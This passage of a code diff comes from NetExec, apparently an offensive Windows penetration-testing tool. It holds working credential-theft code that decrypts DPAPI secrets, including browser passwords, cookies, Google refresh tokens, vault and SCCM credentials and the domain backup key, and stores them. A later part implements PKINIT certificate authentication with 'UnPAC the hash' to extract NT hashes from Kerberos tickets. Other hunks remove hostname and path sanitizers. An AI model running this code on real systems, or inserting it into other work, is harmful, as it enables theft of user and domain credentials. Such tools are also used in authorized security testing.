credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
-100
View File
@@ -1,12 +1,9 @@
from contextlib import suppress
from enum import Enum
import hashlib
import random
import string
import re
import inspect
import os
from unicodedata import normalize
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
@@ -29,91 +26,6 @@ def gen_random_string(length=10):
return "".join(random.sample(string.ascii_letters, int(length)))
def sanitize_dns(hostname, logger=nxc_logger):
"""Return an untrusted hostname or domain as a safe, nonempty string."""
# Always provide a safe fallback, even for missing or unstringable input.
if hostname is None:
return "_"
try:
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
except Exception:
return "_"
if not hostname:
return "_"
# Replace path, configuration, formatting, whitespace, and control characters.
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
sanitized = "".join(
character if character.isprintable()
and not character.isspace()
and character not in unsafe_characters
and all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in hostname
)
# Neutralize traversal segments and Windows-trimmed trailing dots.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
sanitized = f"{sanitized[:-1]}_"
# Bound filename length while retaining a stable identifier for long names.
if len(sanitized.encode("utf-8")) > 253:
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > 253 - len(suffix):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{suffix}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > 253
or normalized in (".", "..")
or normalized.endswith(".")
or any(
not character.isprintable()
or character.isspace()
or character in unsafe_characters
or any(
not normalized_character.isprintable()
or normalized_character.isspace()
or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
sanitized = "_"
# Report changed input without allowing logging failures to affect safety.
if sanitized != hostname:
received = ascii(hostname[:256])
result = ascii(sanitized)
if len(hostname) > 256 or len(received) > 256:
received = f"{received[:253]}..."
if len(result) > 256:
result = f"{result[:253]}..."
if logger is not None:
with suppress(Exception):
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
return sanitized
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -314,18 +226,6 @@ def convert(low, high, lockout=False):
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
-4
View File
@@ -12,7 +12,6 @@ import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"dns_hostname": None,
"domain": None,
"os_version": None
}
@@ -21,9 +20,6 @@ def parse_challenge(challange):
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
-94
View File
@@ -1,98 +1,4 @@
import hashlib
from pathlib import PurePosixPath
import re
from unicodedata import normalize
def sanitize_path_component(name, max_bytes=255):
"""Return one portable, bounded path component from untrusted input."""
# Reserve enough space for one character and the collision-resistant suffix.
if max_bytes < 14:
raise ValueError("max_bytes must be at least 14")
# Always provide a safe fallback, even for missing or unstringable input.
try:
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
except Exception:
name = ""
if not name:
return "_"
# Replace path, control, and Unicode-equivalent metacharacters.
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
sanitized = "".join(
character if character.isprintable()
and character not in unsafe_characters
and all(
normalized_character.isprintable() and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in name
)
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
while sanitized and (
sanitized[-1] == "."
or sanitized[-1].isspace()
or normalize("NFKC", sanitized[-1]).endswith(".")
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
):
sanitized = f"{sanitized[:-1]}_"
# Avoid Windows device names, including names followed by an extension.
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
sanitized = f"_{sanitized}"
# Bound the byte length with a stable digest while preserving short extensions.
if len(sanitized.encode("utf-8")) > max_bytes:
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
extension = ""
extension_index = sanitized.rfind(".")
if (
extension_index > 0
and len(sanitized[extension_index:].encode("utf-8")) <= 32
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
):
extension = sanitized[extension_index:]
sanitized = sanitized[:extension_index]
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{digest}{extension}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > max_bytes
or normalized in (".", "..")
or normalized.endswith(".")
or normalized[-1].isspace()
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
or any(
not character.isprintable()
or character in unsafe_characters
or any(
not normalized_character.isprintable() or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
return "_"
return sanitized
def sanitize_filename(name: str) -> str:
+494 -182
View File
@@ -1,216 +1,528 @@
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Authors:
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import base64
import datetime
import os
import secrets
import hashlib
import datetime
import random
import tempfile
import base64
from binascii import hexlify
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH, TMP_PATH
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
def pkinit_credentials(args):
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
if args.pfx_cert:
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
if args.pem_cert and args.pem_key:
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
return None
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buffers = pac_type["Buffers"]
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buffers)
buffers = buffers[len(info_buffer):]
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
continue
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
cipher = _enctype_table[credential_info["EncryptionType"]]
# Key usage 16: the PAC credential info, encrypted with the AS reply key
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
serialization_header = TypeSerialization1(credential_data)
# Skip the 4 bytes of the ReferentID of the pointer following the header
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
for credential in credentials["Credentials"]:
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
return hexlify(supplemental_credential["NtPassword"]).decode()
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
return None
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
Returns None, after logging why, when the hash cannot be recovered
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
realm = str(decoded_tgt["crealm"])
now = datetime.datetime.now(datetime.UTC)
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = realm
seq_set(authenticator, "cname", client_name.components_to_asn1)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
if b64:
pfxdata = base64.b64decode(pfxdata)
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
ap_req["ap-options"] = constants.encodeFlags([])
seq_set(ap_req, "ticket", ticket.to_asn1)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
req_body = seq_set(tgs_req, "req-body")
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
req_body["realm"] = realm
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
try:
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
connection.logger.fail(f"Failed to unPAC the hash: {e}")
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
